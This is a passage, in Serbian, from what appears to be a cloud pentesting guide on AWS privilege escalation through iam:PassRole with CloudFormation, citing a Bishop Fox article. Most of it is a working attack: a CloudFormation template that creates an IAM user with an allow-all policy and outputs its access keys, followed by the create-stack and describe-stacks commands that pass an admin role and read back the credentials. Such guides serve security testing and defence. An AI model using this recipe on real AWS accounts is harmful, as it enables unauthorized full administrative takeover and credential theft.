iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

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Napadač bi mogao, na primer, koristiti cloudformation šablon koji generiše ključeve za admin korisnika kao:

{
"Resources": {
"AdminUser": {
"Type": "AWS::IAM::User"
},
"AdminPolicy": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"Description" : "This policy allows all actions on all resources.",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": "*"
}]
},
"Users": [{
"Ref": "AdminUser"
}]
}
},
"MyUserKeys": {
"Type": "AWS::IAM::AccessKey",
"Properties": {
"UserName": {
"Ref": "AdminUser"
}
}
}
},
"Outputs": {
"AccessKey": {
"Value": {
"Ref": "MyUserKeys"
},
"Description": "Access Key ID of Admin User"
},
"SecretKey": {
"Value": {
"Fn::GetAtt": [
"MyUserKeys",
"SecretAccessKey"
]
},
"Description": "Secret Key of Admin User"
}
}
}

Zatim generišite cloudformation stek:

aws cloudformation create-stack --stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::[REDACTED]:role/adminaccess \
--capabilities CAPABILITY_IAM --region us-west-2

Sačekajte nekoliko minuta da se stek generiše, a zatim dobijte izlaz iz steka gde su akreditivi sačuvani:

aws cloudformation describe-stacks \
--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
--region uswest-2

References

• https://bishopfox.com/blog/privilege-escalation-in-aws

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